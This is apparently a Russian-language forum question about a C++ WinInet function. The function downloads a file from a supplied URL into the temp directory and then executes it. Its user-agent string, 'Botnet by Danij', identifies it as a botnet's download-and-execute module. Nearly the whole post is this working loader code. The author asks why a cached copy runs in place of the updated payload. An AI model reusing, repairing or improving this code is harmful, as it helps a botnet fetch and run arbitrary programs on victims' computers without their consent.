Здравствуйте.
Есть ф-ция на WinInet, которая качает и запускает файл по ссылке:
void dloadExec(string params) {
params = dellProtocol(params);
int n = params.find("/");
string servtarget;
string filetarg;
string str = params.substr(0, n);
servtarget = str;
if (n == params.size()) filetarg = servtarget;
else {
str = params.substr(n + 1, params.size());
filetarg = str;
}
string separ("/");
string::size_type pos = filetarg.rfind(separ); // Позиция первого символа строки-разделителя.
string trash = filetarg.substr(0, pos); // Строка до разделителя.
string name = filetarg.substr(pos + separ.length()); // Строка после разделителя.
char *cBuffer = new char[1024];
ifstream fin;
ofstream fout;
DWORD dwBytesRead = 0;
HINTERNET hInternetSession;
HINTERNET hConnect;
HINTERNET hRequest;
BOOL Send;
const unsigned int pathSize = 100;
char tempPath[pathSize];
GetTempPath(pathSize, (LPTSTR)tempPath);
string temp = tempPath;
string targFile = temp + name;
if (FileExists(targFile)) {
remove(targFile.c_str());
Sleep(500);
}
Sleep(50);
hInternetSession = InternetOpen(TEXT("Botnet by Danij"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternetSession != NULL)
{
hConnect = InternetConnect(hInternetSession, TEXT(servtarget.c_str()), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hConnect != NULL)
{
hRequest = HttpOpenRequest(hConnect, TEXT("GET"), TEXT(filetarg.c_str()), NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (hRequest)
{
Send = HttpSendRequest(hRequest, NULL, 0, NULL, 0);
if (Send)
{
fout.open(targFile, ios::out | ios::binary);
if (fout.is_open())
{
cout << "OPEN" << endl;
DWORD dwSize = 0;
do
{
InternetReadFile(hRequest, cBuffer, sizeof(cBuffer), &dwSize);
fout.write(cBuffer, dwSize);
} while (dwSize != 0);
}
else {
cout << "Vse o4 ploha";
}
fout.close();
delete[] cBuffer;
Sleep(500);
}
}
InternetCloseHandle(hRequest);
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternetSession);
string separ2(".");
string::size_type pos2 = filetarg.rfind(separ2); // Позиция первого символа строки-разделителя.
string trash2 = filetarg.substr(0, pos2); // Строка до разделителя.
string format = filetarg.substr(pos2 + separ2.length()); // Строка после разделителя.
if (format == "zip") {
}
else {
string execute = "start " + targFile;
system(execute.c_str());
}
}
И все бы хорошо, но если ей удалось скачать файл хоть один раз - в следующий раз (если я заменю файл по ссылке), она все равно открывает тот же, что и был.
Как это решается, где моя ошибка?